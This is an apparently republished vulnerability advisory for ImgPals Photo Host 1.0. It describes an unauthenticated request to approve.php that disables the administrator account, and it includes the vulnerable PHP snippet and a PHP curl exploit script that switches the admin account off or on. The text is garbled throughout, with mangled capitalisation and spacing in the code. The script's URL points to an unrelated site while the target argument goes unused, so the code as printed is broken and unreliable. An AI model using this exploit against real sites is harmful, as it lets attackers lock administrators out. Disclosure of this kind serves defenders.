ImgPals Photo Host Version 1.0 management account failure defects and repair

ImgPals Photo Host Version 1.0 STABLE
Author: Corrado Liotta Aka CorryL
Program: ImgPals Photo Host
Affected Version: 1.0 STABLE
Develop this Website: http://www.imgpals.com/forum/
Running platform: Windows, Linux, and Unix
...: [Overview]:...
I released the ImgPals Photo Host Version 1.0 STABLE.
Features Include:
* Easy Install
* Full README file encoded DED
* Full Control Panel to control your site
* User Side Features
O Multiple JQuery Uploads
O Create and Edit Photo Albums
O Make Albums Public or Private
O Describe Albums and Photos
O Move, Delete, Rename, Rotate, Rate, Comment, and Tag Photos
O Add Friends
O Chat with Friends
O Update people with status wall posting
O Manage Profile
O Profile Avatar Uploads
O Private Messaging
* And much more, be sure to check out the Demo
...: [Vulnerability]:...
A attaker can remotely disable the account from administratore not
Allowing the same to be able to access the site
...: [Proof]:...
If ($ _ GET ['a'] = 'app0 '){
$ Sqlapprove = mysql_query ("UPDATE members SET
Approved = '0' WHERE id = '". $ _ GET ['U']."' ");
By sending the command approve. php? U = a = 1 & app0 a attaker can
Disable the Administrator account.
...: [Exploit]:...
#! /Usr/bin/php-f
<? Php
// Coded by Corrado Liotta For educational purpose only
// Use php exploit. php server app0 or app1
// Use app0 for admin account off
// Use app1 for admin account on
$ Target = $ argv [1];
$ Power = $ argv [2]
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_URL, "http: // www.2cto.com/approve. php? U = 1 & a = $ power ");
Curl_setopt ($ ch, CURLOPT_HTTPGET, 1 );
Curl_setopt ($ ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0 )");
Curl_setopt ($ ch, CURLOPT_TIMEOUT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_LIMIT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_TIME, 3 );
Curl_setopt ($ ch, CURLOPT_COOKIEJAR, "/tmp/cookie _ $ target ");
$ Buf = curl_exec ($ ch );
Curl_close ($ ch );
Unset ($ ch );
Echo $ buf;
?>